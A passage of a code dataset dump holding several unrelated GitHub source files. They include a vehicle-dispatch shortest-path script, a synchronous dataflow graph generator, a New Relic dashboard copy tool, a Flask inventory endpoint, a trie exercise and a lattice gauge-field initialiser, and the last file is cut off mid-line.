zipexist.add_vertex(distance['zipcode1'])\n\n if not distance['zipcode2'] in zipexist.get_vertices():\n zipexist.add_vertex(distance['zipcode2'])\n\n zipexist.add_edge(distance['zipcode1'], distance['zipcode2'], distance['distance'])\n\n\n # requesting for a vehicle by giving the zipcode -passing vehicle type, and zipcode\n def get_vehicle(vehicle_type, zipcode):\n\n available_vehicles = [v for v in vehicles if v['type'] == vehicle_type and v['available']]\n\n # If there are available vehicles\n if len(available_vehicles) > 0:\n zipexist.reset_vertices() # vertex's distance = infinityvi; vextex.visited = False; vertex.previous = None will be done in reset_vertices() method\n place = zipexist.get_vertex(zipcode) # Returns vert_dict\n algorithm.algorithm(zipexist, place) # passing the graph object and place into algorithm method in\n\n # Calculating and storing the list of distances for all the available vehicles done by adding vertex and getting distance\n for av in available_vehicles:\n av['distance'] = zipexist.get_vertex(av['zipcode']).get_distance()\n\n # sorted list based on distances\n available_vehicles = sorted(available_vehicles, key=lambda k: k['distance'])\n\n return available_vehicles\n\n\n # Iterating within requests\n for requestedvehicle in requests:\n # calling 'get_vehicle' and ordering as FIFO\n emergencyvehicle = get_vehicle(requestedvehicle['vehicle_type'], requestedvehicle['zipcode'])\n\n if len(emergencyvehicle) > 0: # If the number of available vehicles is at least 1\n vehicles[vehicles.index(emergencyvehicle[0])]['available'] = False # availability change from false to true\n requestedvehicle['vehicle_id'] = emergencyvehicle[0]['id'] # store the vehicle id in requestedvehicle variable as emergencyvehicle[0]'s ID\n requestedvehicle['distance'] = emergencyvehicle[0]['distance'] # store distance of requestedvehicle variable from emergencyvehicle[0]'s distance\n\n [print(k, '--->', requestedvehicle[k]) for k in requestedvehicle] # Printing key value pairs in each of the requests\n print('--------------------------------------')\n with open('output','w') as out:\n json.dump(vehicles, out, ensure_ascii=False) # Writing into a new file the result of the data","repo_name":"gabriellawillis/CS404","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"29969657672","text":"# Напишите программу, которая найдёт произведение пар чисел списка. Парой считаем первый и последний элемент, второй и предпоследний и т.д.\n# Пример:\n# - [2, 3, 4, 5, 6] => [12, 15, 16];\n# - [2, 3, 5, 6] => [12, 15]\n\n\n\nfrom random import randint\n\nn = int(input('Введите количество элементов: '))\nx = int(input('Введите минмальное значение: '))\ny = int(input('Введите максимальное значение: '))\nnumbers = []\nfor i in range(n):\n numbers.append(randint(x, y))\nlist2 = []\nfor i in range(len(numbers)):\n while i < len(numbers)/2 and n > len(numbers)/2:\n n = n - 1\n a = numbers[i] * numbers[n]\n list2.append(a)\n i += 1\nprint(f'В данном списке {numbers} прооизведение пар чисел списка = 1*последний 2*предпоследний и т. д. => {list2}')\n","repo_name":"Aleksandr-III/DZ_Python_03","sub_path":"Task_02.py","file_name":"Task_02.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"23776298392","text":"import networkx as nx\nfrom syncdataflow import core, transform\nfrom shortestpaths import bfct\nfrom shortestpaths.core import NegativeCycleException\nimport random\nfrom random import randint, uniform, sample, randrange\nfrom fractions import gcd, Fraction\nimport math\n\ndef random_vector(vector_sum, vector_len):\n vector = [None] * vector_len\n for i in range(vector_len):\n vector[i] = uniform(0, 1)\n\n scale = vector_sum / sum(vector)\n vector = list(map( lambda x: math.floor(scale * x), vector ))\n plus_one = sample( range(vector_len), vector_sum - sum(vector) )\n for i in plus_one:\n vector[i] += 1\n\n return vector\n\ndef make_sdf_graph(g, sumrange = (1, 1), phaserange = (1, 3), wcetrange = (1, 1), seed = None):\n \"\"\" Creates a consistent SDF graph from a given graph struture.\n\n Parameters\n ----------\n\n g: a networkx.DiGraph() that specifies the structure of the graph\n sumrange: a tuple of ints that gives the minimum and maximum sums of rate vectors\n phaserange: a tuple of ints that gives the min and max lengths of rate vectors\n wcetrange: a tuple of ints that gives the min and max execution time per actor phase\n\n NOTE: the returned graph contains no tokens\n \"\"\"\n sdfg = core.SDFGraph()\n if seed is not None:\n random.seed(seed)\n\n q = {}\n for v in g.nodes_iter():\n q[v] = (randint(*sumrange), randint(*phaserange))\n _, phases = q[v]\n sdfg.add_node(v, wcet = [ randint(*wcetrange) for i in range(phases) ])\n\n for u, v in g.edges_iter():\n ru, pu = q[u]\n rv, pv = q[v]\n d = gcd(ru, rv)\n prates = random_vector( rv // d, pu )\n crates = random_vector( ru // d, pv )\n sdfg.add_edge( u, v, production = prates, consumption = crates )\n\n return sdfg\n\ndef ensure_liveness(g, factor = 100):\n \"\"\" Assigns tokens to channels of an SDF graph such that a minimum throughput is attained.\n Works by finding cycles of positive weight in the graph's pessimistic approximation\n and resolving them by adding sufficient tokens.\n\n Parameters:\n ----------\n\n g: the SDF graph\n factor: indicates the maximum number of time units a single graph iteration may take,\n multiplied by the length of a fully sequential iteration.\n Lower numbers result in higher throughputs\n \"\"\"\n\n assert g.is_consistent()\n # assert nx.is_strongly_connected( g )\n seqperiod = 0\n for v, data in g.nodes_iter( data = True ):\n wcet = data.get('wcet').sum()\n # periods = g.q[v] // data.get('phases')\n periods = 1\n seqperiod += ( wcet * periods )\n\n target_mcr = Fraction( seqperiod, g.tpi ) / factor\n\n added_tokens = 0\n m = 4 * g.number_of_edges()\n while m > 0:\n m = m - 1\n # transform the graph to its single-rate approximation\n pess = transform.single_rate_apx( g )\n\n # create graph where each token represents a weight of -factor\n lpg = nx.DiGraph()\n for u, v, data in pess.edges( data = True ):\n wcet = pess.node[v].get('wcet')\n tokens = data.get('tokens', 0)\n lpg.add_edge( u, v, weight = tokens * target_mcr - wcet )\n\n # find positive cycle\n if m == 0:\n import pdb; pdb.set_trace()\n try:\n bfct.find_shortest_paths( lpg, u )\n break\n except NegativeCycleException as ex:\n # find edge with heaviest weight\n weight, tokens = 0, 0\n max_weight = 0\n for u, v in ex.cycle:\n weight += pess.node[ v ].get('wcet')\n tokens += pess.get_edge_data(u, v).get('tokens', 0)\n suv = g.s[ (u, v) ]\n if suv > max_weight:\n max_weight = suv\n arg_max = (u, v)\n\n delta = Fraction( Fraction(weight, target_mcr) - tokens, max_weight ).__ceil__()\n edge_data = g.get_edge_data( *arg_max )\n edge_data['tokens'] = edge_data.get('tokens', 0) + delta #math.ceil(extra_factor * delta)\n added_tokens += delta\n # print(\"Added {} tokens\".format( delta ))\n else:\n assert False, \"too many iterations\"\n \n return added_tokens\n\ndef random_sdf_graph(n = 5, m = 15, sumrange = (2, 5), phaserange = (1, 3), wcetrange = (1, 1), seed = None):\n p = m / (n * (n - 1))\n g = nx.fast_gnp_random_graph(n, p, seed, directed = True)\n cycle = [scc.pop() for scc in nx.strongly_connected_components(g)]\n if len(cycle) > 1:\n g.add_edge( cycle[-1], cycle[0] )\n for i in range(1, len(cycle)):\n g.add_edge( cycle[i - 1], cycle[i] )\n\n return make_sdf_graph(g, sumrange, phaserange, wcetrange)\n\ndef random_mrsdf_graph(n = 5, m = 15, qrange = (2, 15), wcetrange = (2,10), seed = None):\n return random_sdf_graph(n, m, qrange, (1,1), wcetrange, seed)\n\ndef random_sdf_cycle(n = 5, sumrange = (2, 5), phaserange = (1, 3), wcetrange = (1, 1), seed = None):\n if seed is not None:\n random.seed(seed)\n\n g = nx.DiGraph()\n\n g.add_edge( n, 1 )\n for v in range(1, n):\n g.add_edge( v, v + 1 )\n\n return make_sdf_graph(g, sumrange, phaserange, wcetrange)\n\ndef random_mrsdf_cycle(n = 5, seed = None):\n return random_sdf_cycle(n, sumrange = (2, 5), phaserange = (1, 1), seed = seed)\n\ndef random_cycle(length = 10):\n # determine normalised rates\n zs = list()\n for _ in range(length):\n zs.append( randint( 2, 10 ))\n\n g = core.SDFGraph()\n\n for i in range(length):\n g.add_node(i, wcet = 1)\n\n for i in range(length):\n g.add_edge( i, (i + 1) % length, production = zs[i], consumption = zs[(i + 1) % len(zs)] )\n\n assert g.is_consistent()\n return g\n\ndef is_live(g):\n firings = { v : 0 for v in g.nodes_iter() }\n tokens = dict()\n pending = set(g.nodes())\n \n for u, v, data in g.edges_iter( data = True ):\n tokens[ (u, v) ] = data.get( 'tokens', 0 )\n\n while pending:\n total = 0\n for v in g: \n enabled = None\n assert g.node[v]['phases'] == 1\n\n for u, _, data in g.in_edges_iter( v, True ):\n local_enabled = tokens[ (u, v) ] // data.get('consumption')[0]\n enabled = local_enabled if enabled is None else min( enabled, local_enabled )\n\n # consume\n for u, _, data in g.in_edges_iter( v, True ):\n tokens[ (u, v) ] -= enabled * data.get('consumption')[0]\n\n # produce\n for _, w, data in g.out_edges_iter( v, True ):\n tokens[ (v, w) ] += enabled * data.get('production')[0]\n\n total += enabled\n firings[ v ] += enabled\n if firings[ v ] >= g.q[ v ] and v in pending:\n pending.remove( v )\n\n if total == 0:\n return False\n\n return True\n\n\ndef random_live_cycle(length = 10):\n g = random_cycle(length)\n while not is_live( g ):\n # pick a random edge of g\n u, v = choice( g.edges() )\n data = g.get_edge_data(u, v)\n prates = data['production']\n crates = data['consumption']\n d = gcd(prates.sum(), crates.sum())\n data['tokens'] = data.get('tokens', 0) + d\n\n return g\n\ndef distort(g, factor):\n h = g.copy()\n while True:\n try:\n gen_cycles = nx.simple_cycles( h )\n cycle = next( gen_cycles )\n edges = list( zip( cycle, cycle[1:] ))\n edges.append( ( cycle[-1], cycle[0] ))\n for u, v in edges:\n data = g.get_edge_data( u, v )\n data['tokens'] *= factor\n\n h.remove_edges_from( edges )\n except StopIteration:\n break\n\n","repo_name":"polca-project/polca-toolbox","sub_path":"PySDF/syncdataflow/randomsdf.py","file_name":"randomsdf.py","file_ext":"py","file_size_in_byte":7723,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"68"} +{"seq_id":"72793999578","text":"import os\nimport argparse\nimport json\nfrom library import utils\nimport library.clients.dbentityclient as dbclient\nimport library.clients.entityclient as entityclient\nimport library.localstore as store\nimport library.nrpylogger as nrpylogger\n\ndb_entity = dbclient.DashboardEntity()\nec = entityclient.EntityClient()\nlogger = nrpylogger.get_logger(os.path.basename(__file__))\nNO_NAME = \"NONE\"\n\n\ndef setup_params(parser):\n parser.add_argument('--fromAccount', nargs=1, type=int, required=True, help='source accountId')\n parser.add_argument('--fromApiKey', nargs=1, type=str, required=True, help='fromAccount User API Key')\n parser.add_argument('--entityGuid', nargs=1, type=str, required=True, help='Dashboard entityGuid')\n parser.add_argument('--download', dest='download', required=False, action='store_true',\n help='Download Dashboard JSON')\n parser.add_argument('--copy', dest='copy', required=False, action='store_true',\n help='Copy Dashboard')\n parser.add_argument('--toAccount', nargs=1, type=int, required=False, help='target accountId')\n parser.add_argument('--toApiKey', nargs=1, type=str, required=False, help='toAccount User API Key. Optional in '\n 'case fromApiKey works for both accounts ')\n parser.add_argument('--toName', nargs=1, type=str, required=False, help='name of copied dashboard')\n\n\ndef print_params():\n logger.info(\"fromAccount : \" + str(args.fromAccount[0]))\n logger.info(\"fromApiKey : \" + len(args.fromApiKey[:-4]) * \"*\" + args.fromApiKey[-4:])\n if args.entityGuid:\n logger.info(\"Dashboard entityGuid \" + args.entityGuid[0])\n if args.download:\n logger.info(\"action : download\")\n if args.copy:\n logger.info(\"action: copy \")\n logger.info(\"toAccount : \" + str(args.toAccount[0]))\n if args.toApiKey:\n logger.info(\"toApiKey : \" + len(args.toApiKey[:-4]) * \"*\" + args.toApiKey[-4:])\n else:\n logger.info(\"No toApiKey provided. Will use fromApiKey to copy to toAccount: \")\n if args.toName:\n logger.info(\"toName : \" + args.toApiKey[0])\n else:\n logger.info(\"No toName provided. Will prefix existing name with Copy\")\n\n\ndef download(per_api_key, entity_guid):\n result = db_entity.get(per_api_key, entity_guid)\n dashboard = result['response']['data']['actor']['entity']\n db_file_name = str(dashboard['accountId']) + \"-\" + dashboard['name'] + \".json\"\n store.save_json_to_file(dashboard, db_file_name)\n\n\ndef copy_dashboard(per_api_key, entity_guid, to_acct, to_api_key, to_name):\n result = db_entity.get(per_api_key, entity_guid)\n dashboard = result['response']['data']['actor']['entity']\n if to_name == NO_NAME:\n to_name = \"Copy of \" + dashboard[\"name\"]\n dashboard, all_linked_entities = update_db_get_linked_entities(dashboard, to_acct, to_name)\n logger.debug(json.dumps(all_linked_entities))\n db_file_name = str(to_acct) + \"-\" + dashboard['name'] + \".json\"\n store.save_json_to_file(dashboard, db_file_name)\n result = db_entity.create(to_api_key, to_acct, dashboard)\n if \"errors\" in result[\"response\"][\"data\"][\"dashboardCreate\"][\"entityResult\"]:\n logger.error(json.dumps(result))\n else:\n logger.info(\"Dashboard copied to \" + str(to_acct) + \" as \" +\n result[\"response\"][\"data\"][\"dashboardCreate\"][\"entityResult\"][\"name\"])\n tgt_db_guid = result[\"response\"][\"data\"][\"dashboardCreate\"][\"entityResult\"][\"guid\"]\n logger.info(\"Now updating linked entities\")\n update_linked_entities(to_api_key, all_linked_entities, tgt_db_guid)\n logger.info(ec.get_permalink(to_api_key, tgt_db_guid))\n\n\ndef map_page_to_guid(dashboard):\n page_guids = {}\n for page in dashboard['pages']:\n page_guids[page['name']] = page['guid']\n return page_guids\n\n\ndef update_linked_entities(to_api_key, all_linked_entities, dashboard_guid):\n result = db_entity.get_pages_widgets(to_api_key, dashboard_guid)\n dashboard = result['response']['data']['actor']['entity']\n logger.info(json.dumps(dashboard))\n page_guids = map_page_to_guid(dashboard)\n logger.info(json.dumps(page_guids))\n for page in dashboard['pages']:\n page_widgets = []\n for widget in page['widgets']:\n wid_key = widget_key(page['name'], widget['title'])\n if wid_key in all_linked_entities:\n linked_entities = all_linked_entities[wid_key]\n linkedEntityGuids = [page_guids[linked_entities[0]['name']]]\n widget['linkedEntityGuids'] = linkedEntityGuids\n page_widgets.append(widget)\n if not page_widgets:\n logger.info(\"No linked entities in \" + page['name'])\n else:\n logger.info(\"Updating linked entities for \" + page['name'])\n result = db_entity.update_page_widgets(to_api_key, page['guid'], page_widgets)\n if result['response']['data']['dashboardUpdateWidgetsInPage']['errors'] is None:\n logger.info(\"Successfully updated facets for \" + page['name'])\n else:\n logger.error(json.dumps(result))\n\n\ndef update_db_get_linked_entities(dashboard, to_acct, to_name):\n all_linked_entities = {}\n src_db_name_prefix = dashboard['name'] + ' / '\n dashboard['name'] = to_name\n all_linked_entities['pages'] = []\n for page in dashboard['pages']:\n for widget in page['widgets']:\n if 'nrqlQueries' in widget['rawConfiguration']:\n for nrqlQuery in widget['rawConfiguration']['nrqlQueries']:\n nrqlQuery['accountId'] = to_acct\n linkedEntities = widget.pop('linkedEntities', None)\n if linkedEntities is not None:\n for linkedEntity in linkedEntities:\n db_page_name = linkedEntity['name']\n if db_page_name.startswith(src_db_name_prefix):\n linkedEntity['name'] = db_page_name[db_page_name.rindex('/') + 2:]\n all_linked_entities[widget_key(page[\"name\"], widget[\"title\"])] = linkedEntities\n return dashboard, all_linked_entities\n\n\ndef widget_key(page_name, widget_title):\n return page_name + \"-\" + widget_title\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Copy/Download Dashboard')\n setup_params(parser)\n args = parser.parse_args()\n if args.download:\n download(args.fromApiKey[0], args.entityGuid[0])\n elif args.copy or args.updateFacets:\n if not args.toApiKey:\n logger.info(\"No toApiKey provided. Assuming fromApiKey will work for the toAccount\")\n to_api_key = args.fromApiKey[0]\n else:\n to_api_key = args.toApiKey[0]\n if not args.toName:\n to_name = NO_NAME\n else:\n to_name = args.toName[0]\n copy_dashboard(args.fromApiKey[0], args.entityGuid[0], args.toAccount[0], to_api_key, to_name)\n","repo_name":"newrelic-experimental/nrpy","sub_path":"dashboards.py","file_name":"dashboards.py","file_ext":"py","file_size_in_byte":7022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"12614506537","text":"from flask import Blueprint,request,jsonify\nfrom APIPackage.dbFunctionModule import selectqueryfunc, insertqueryfunc, allowed_file\n\n\naddItem = Blueprint('additem', __name__)\n\nALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}\n\n@addItem.route('/additem', methods = ['POST'])\ndef addItemInventory():\n name = request.form['name'].lower()\n description = request.form['description'].lower()\n price = request.form['price']\n itemexist_select_query = \"\"\"SELECT name from items where name = ?\"\"\"\n itemexist_tuple = (name,)\n itemexist_result = selectqueryfunc(itemexist_select_query,itemexist_tuple)\n\n if len(itemexist_result) > 0:\n return jsonify({'message': 'Item already present in store inventory'})\n\n else:\n if 'photo' in request.files:\n photo = request.files['photo']\n filename = photo.filename\n if len(filename) != 0 :\n filename = name\n if filename.find(' ') != -1:\n filename = filename.replace(' ','')\n extension = '.' in photo.filename and photo.filename.rsplit('.', 1)[1].lower()\n filename = filename + '.' + extension\n\n if photo and allowed_file(photo.filename,ALLOWED_EXTENSIONS):\n readFile = photo.read()\n else:\n return jsonify({'message': 'Allowed file types are pdf, png, jpg, jpeg, gif'})\n\n additem_query = \"\"\" Insert INTO items (name, description, price, filename, photo) \n values (?,?,?,?,?)\"\"\"\n itemtuple = (name,description,price,filename,readFile)\n\n else:\n additem_query = \"\"\" Insert INTO items (name, description, price) \n values (?,?,?)\"\"\"\n itemtuple = (name, description, price)\n\n insertqueryfunc(additem_query,itemtuple)\n\n return jsonify({'message': 'Item added successfully'})","repo_name":"tejasvi85/sadguruAmritTulya","sub_path":"APIPackage/addItemAPI.py","file_name":"addItemAPI.py","file_ext":"py","file_size_in_byte":1950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"40457566806","text":"# Write a Python function that takes a list and returns a new list with unique elements \n# of the first list. Go to the editor\n# Sample List : [1,2,3,3,3,3,4,5]\n# Unique List : [1, 2, 3, 4, 5]\n\ndef sortlist(x):\n result = []\n for i in x:\n if result.count(i) == 0:\n result.append(i)\n return result\n\n\nprint(sortlist([1,2,3,3,3,3,3,3,4,5]))","repo_name":"self-study-squad/Python-examples","sub_path":"Functions/Exercise-8.py","file_name":"Exercise-8.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"8522085797","text":"scores = {'network':60, 'database':80, 'security':60}\nmembers = ['松田', '浅木', '工藤']\ntpl = tuple(members)\nprint(tpl)#リストmembersを材料にしてタプルを生成\nlist1 = list(scores)#scoresキーを集めたlistを生成\nprint(list1)#scoresのキーをリストに\nset1 = set(scores.values())#scores valuesを材料としてsetを生成\nprint(set1)\nn1 = int('8')#intコンストラクターに'8'をしてn1に代入している\n\ncodes = ['#ff0000','#00ff00','#0000ff']\ncolors = ['red', 'green', 'blue']\ndict1 = dict(zip(codes, colors))\nprint(dict1)\ncodes1 = ['#ff0000','#00ff00','#0000ff']\ncolors1 = ['red','blk', 'green', 'blue']#要素数が違う...blueが省かれた\ndict2 = dict(zip(codes1, colors1))\nprint(dict2)\n\n\"\"\" \n('松田', '浅木', '工藤')\n['network', 'database', 'security']\n{80, 60}\n{'#ff0000': 'red', '#00ff00': 'green', '#0000ff': 'blue'}\n{'#ff0000': 'red', '#00ff00': 'blk', '#0000ff': 'green'}\n\"\"\"\n","repo_name":"ourlifething/python","sub_path":"c02_23.py","file_name":"c02_23.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"21491027793","text":"from curraun.numba_target import myjit, my_parallel_loop, use_cuda\nimport numpy as np\nimport curraun.lattice as l\nimport curraun.su as su\nfrom curraun.initial_su3 import init_kernel_2_su3_cuda, init_kernel_2_su3_numba\nfrom curraun.initial_su2 import init_kernel_2_su2_cuda, init_kernel_2_su2_numba\nfrom time import time\n\nDEBUG = False\n\nimport os\nsu_group = os.environ.get('GAUGE_GROUP')\n\ndef init(s, w1, w2):\n u0 = s.u0\n u1 = s.u1\n pt1 = s.pt1\n pt0 = s.pt0\n aeta0 = s.aeta0\n aeta1 = s.aeta1\n peta1 = s.peta1\n peta0 = s.peta0\n v1 = w1\n v2 = w2\n n = s.n\n dt = s.dt\n dth = s.dt / 2.0\n\n # temporary transverse gauge links for each nucleus\n ua = np.zeros_like(u0)\n ub = np.zeros_like(u0)\n\n en_EL = np.zeros(n ** 2, dtype=np.double) # TODO: Think about alternative implementation that reduces on GPU?\n en_BL = np.zeros(n ** 2, dtype=np.double)\n\n # TODO: keep arrays on GPU device during execution of these kernels\n t = time()\n my_parallel_loop(init_kernel_1, n ** 2, v1, v2, n, ua, ub)\n debug_print(\"Init: temporary transverse gauge links ({:3.2f}s)\".format(time() - t))\n t = time()\n if su_group == 'su2':\n my_parallel_loop(init_kernel_2, n ** 2, u0, u1, ua, ub)\n elif su_group == 'su2_complex':\n if use_cuda:\n my_parallel_loop(init_kernel_2_su2_cuda, n ** 2, u0, u1, ua, ub)\n else:\n my_parallel_loop(init_kernel_2_su2_numba, n ** 2, u0, u1, ua, ub)\n elif su_group == 'su3':\n if use_cuda:\n my_parallel_loop(init_kernel_2_su3_cuda, n ** 2, u0, u1, ua, ub)\n else:\n my_parallel_loop(init_kernel_2_su3_numba, n ** 2, u0, u1, ua, ub)\n else:\n print(\"initial.py: SU(N) code not implemented\")\n debug_print(\"Init: transverse gauge links ({:3.2f}s)\".format(time() - t))\n t = time()\n my_parallel_loop(init_kernel_3, n ** 2, u0, peta1, n, ua, ub)\n debug_print(\"Init: long. electric field ({:3.2f}s)\".format(time() - t))\n t = time()\n my_parallel_loop(init_kernel_4, n ** 2, u0, pt1, n, dt)\n debug_print(\"Init: trans. electric field corrections ({:3.2f}s)\".format(time() - t))\n t = time()\n my_parallel_loop(init_kernel_5, n ** 2, u0, u1, pt1, aeta0, aeta1, peta1, dt, dth)\n debug_print(\"Init: gauge link corrections field ({:3.2f}s)\".format(time() - t))\n t = time()\n my_parallel_loop(init_kernel_6, n ** 2, u0, u1, peta1, n, en_EL, en_BL)\n debug_print(\"Init: energy density check ({:3.2f}s)\".format(time() - t))\n\n peta0[:,:] = peta1[:,:]\n pt0[:,:] = pt1[:,:]\n\n en_EL_sum = np.sum(en_EL)\n en_BL_sum = np.sum(en_BL)\n\n debug_print(\"Init: e_EL = {}\".format(en_EL_sum))\n debug_print(\"Init: e_BL = {}\".format(en_BL_sum))\n\n\n@myjit\ndef init_kernel_1(xi, v1, v2, n, ua, ub):\n # temporary transverse gauge fields\n for d in range(2):\n xs = l.shift(xi, d, 1, n)\n buffer1 = su.mul(v1[xi], su.dagger(v1[xs]))\n su.store(ua[xi, d], buffer1)\n buffer2 = su.mul(v2[xi], su.dagger(v2[xs]))\n su.store(ub[xi, d], buffer2)\n\n\n@myjit\ndef init_kernel_2(xi, u0, u1, ua, ub):\n # initialize transverse gauge links (longitudinal magnetic field)\n # (see PhD thesis eq.(2.135)) # TODO: add proper link or reference\n # This only works for SU(2).\n for d in range(2):\n b1 = su.load(ua[xi, d])\n b1 = su.add(b1, ub[xi, d])\n b2 = su.dagger(b1)\n b2 = su.inv(b2)\n b3 = su.mul(b1, b2)\n su.store(u0[xi, d], b3)\n su.store(u1[xi, d], b3)\n\n@myjit\ndef init_kernel_3(xi, u0, peta1, n, ua, ub):\n # initialize pi field (longitudinal electric field)\n # (see PhD thesis eq.(2.136)) # TODO: add proper link or reference\n tmp_peta1 = su.zero()\n for d in range(2):\n xs = l.shift(xi, d, -1, n)\n\n b1 = su.load(ub[xi, d])\n b1 = l.add_mul(b1, ua[xi, d], -1)\n b1 = su.dagger(b1)\n\n b2 = su.mul(u0[xi, d], b1)\n b2 = l.add_mul(b2, b1, -1)\n\n b1 = su.load(ub[xs, d])\n b1 = l.add_mul(b1, ua[xs, d], -1)\n\n b3 = su.mul(su.dagger(u0[xs, d]), b1)\n b3 = l.add_mul(b3, b1, -1)\n\n b2 = su.add(b2, b3)\n b3 = su.ah(b2)\n\n tmp_peta1 = su.add(tmp_peta1, b3)\n tmp_peta1 = su.mul_s(tmp_peta1, 0.5)\n su.store(peta1[xi], tmp_peta1)\n\n\n@myjit\ndef init_kernel_4(xi, u0, pt1, n, dt):\n # pt corrections at tau = dt / 2\n for d in range(2):\n # transverse electric field update\n b1 = l.plaquettes(xi, d, u0, n)\n b1 = l.add_mul(pt1[xi, d], b1, - dt ** 2 / 2.0)\n su.store(pt1[xi, d], b1)\n\n@myjit\ndef init_kernel_5(xi, u0, u1, pt1, aeta0, aeta1, peta1, dt, dth):\n # coordinate update\n for d in range(2):\n # transverse link variables update\n b0 = su.mul_s(pt1[xi, d], dt / dth)\n b1 = su.mexp(b0)\n b2 = su.mul(b1, u0[xi, d])\n su.store(u1[xi, d], b2)\n\n # longitudinal gauge field update\n b1 = l.add_mul(aeta0[xi], peta1[xi], dth * dt)\n su.store(aeta1[xi], b1)\n\n\n@myjit\ndef init_kernel_6(xi, u0, u1, peta1, n, en_EL, en_BL):\n # initial condition check (EL ~ BL?)\n b1 = l.plaq(u0, xi, 0, 1, 1, 1, n)\n b2 = su.ah(b1)\n en_BL[xi] += su.sq(b2) / 2\n\n b1 = l.plaq(u1, xi, 0, 1, 1, 1, n)\n b2 = su.ah(b1)\n en_BL[xi] += su.sq(b2) / 2\n\n # b1 = l.plaq(u0, xi, 0, 1, 1, 1, n)\n # en_BL[0] += 2*(1.0 - b1[0])\n # b1 = l.plaq(u1, xi, 0, 1, 1, 1, n)\n # en_BL[0] += 2*(1.0 - b1[0])\n\n en_EL[xi] += su.sq(peta1[xi])\n\n\ndef debug_print(s):\n if DEBUG:\n print(s)","repo_name":"avramescudana/curraun","sub_path":"curraun/initial.py","file_name":"initial.py","file_ext":"py","file_size_in_byte":5488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"14760790287","text":"# 많이 어려운 문제 나중에 다시풀기\n\nclass Node:\n def __init__(self):\n self.alpha = {}\n self.count = 0\n\nclass Trie:\n def __init__(self):\n self.root = Node()\n \n \n def insert(self, word):\n temp = self.root\n \n for w in word:\n if temp.alpha.get(w):\n temp = temp.alpha[w]\n else:\n temp.alpha[w] = Node()\n temp = temp.alpha[w]\n temp.count += 1\n \n def search(self, que):\n cnt = 0\n if que == '':\n for val in self.root.alpha.values():\n cnt += val.count\n return cnt\n temp = self.root\n for w in que:\n if temp.alpha.get(w):\n temp = temp.alpha[w]\n cnt = temp.count\n else:\n return 0\n return cnt\n \n \ndef solution(words, queries):\n t_a = [Trie() for i in range(10001)]\n r_a = [Trie() for i in range(10001)]\n \n # words => Tries\n for word in words:\n t_a[len(word)].insert(word)\n r_a[len(word)].insert(word[::-1])\n \n # Search => queries\n answer = [0 for _ in range(len(queries))]\n for idx, que in enumerate(queries):\n if que[0] != '?': # queries => t_a\n s_que = que.split('?')[0]\n answer[idx] = t_a[len(que)].search(s_que)\n else: # queries => r_a\n s_que = que.split('?')[-1]\n answer[idx] = r_a[len(que)].search(s_que[::-1])\n \n return answer","repo_name":"seungbin-lee0330/2021","sub_path":"thisi_is_coding_test/ch15_binary_search_problem/15-4.py","file_name":"15-4.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"74035147095","text":"#!/usr/bin/env python3\n\"\"\"\n this program reads through the ~/results-SemEval-2020/* files,\n most of which are currently one line by design.\n\n For each line in the resulting data, the interesting lines are\n selected according to the command-line-switches in column1\n\n interesting lines have different variables values.\n one variable is the run number, which for all these files is\n the last digit in the zip file name.\n\n For the maxlinks graph, the independent variables are\n --max_links value and\n --emb_dim value\n\n The dependent variables might be rank correlation: average, or per-language\n which correspond to particular columns in the line\n\n for each unique independent variable set,\n average all the dependent variables,\n and output a plot file\n\n\"\"\"\nimport pathlib as pl\nimport sys\n\nEvaluationHeaders = ('Flags\tType\tavg acc/rank\tw/o Italian acc/rank'+\n '\\tenglish\tgerman\tlatin\tswedish\titalian\treverse emb\temb_type' +\n '\\temb_dim\twindow\titer\tuse bin thld\tuse nearest neigh' +\n '\\tcompare method\tk\tType\tavg acc/rank' +\n '\\tw/o Italian acc/rank\tenglish\tgerman\tlatin\tswedish\titalian' +\n '\\treverse emb\temb_type\temb_dim\twindow\titer\tuse bin thld' +\n '\\tuse nearest neigh\tcompare method\tk')\n\nHeaderTable = EvaluationHeaders.split('\\t')\nHeaderDict = dict()\nfor i, x in enumerate(HeaderTable):\n if x in HeaderDict:\n if x+'2' in HeaderDict:\n raise Exception('more than two versions of header '+x)\n HeaderDict[x+'2'] = i\n else:\n HeaderDict[x] = i\n\nMaxlinks_unique = {'emb_type':'w2v', 'emb_algorithm':'skipgram', 'compare_method':'cosine', 'reverse_embedding':'True', 'dont_use_java':'True'}\n\nMaxlinks_ind_set = ['emb_dim', 'max_links']\n\nMaxlinks_dep_set = {'w/o Italian acc/rank2', 'english2', 'german2', 'latin2', 'swedish2'}\n\ntypes = {'maxlinks':(Maxlinks_unique, Maxlinks_ind_set, Maxlinks_dep_set)}\n\nthis_type = 'maxlinks'\n\nMe = \"/home/stephentaylor/\"\nfiles_dir = Me + 'results-SemEval-2020/results/'\n\nall_lines = False\nstats = True\n\ndef main():\n \"\"\"\n combine results files into plotfiles\n \"\"\"\n # check commmand line.\n # [Might be pointer to files,\n # name of extraction (i.e.max_links]\n global files_dir, all_lines, stats\n state = 0\n for a in sys.argv:\n if state == 0:\n state = 1\n elif state == 1:\n if a == '-all_lines':\n all_lines = True\n elif state == 1:\n if a == '-stats':\n stats = True\n elif state == 1:\n if a == '-nostats':\n stats = False\n\n\n # read in files as lines in Table\n Table = []\n for fil in pl.Path(files_dir).iterdir():\n if fil.is_file():\n with open(fil) as f_in:\n for lin in f_in:\n line 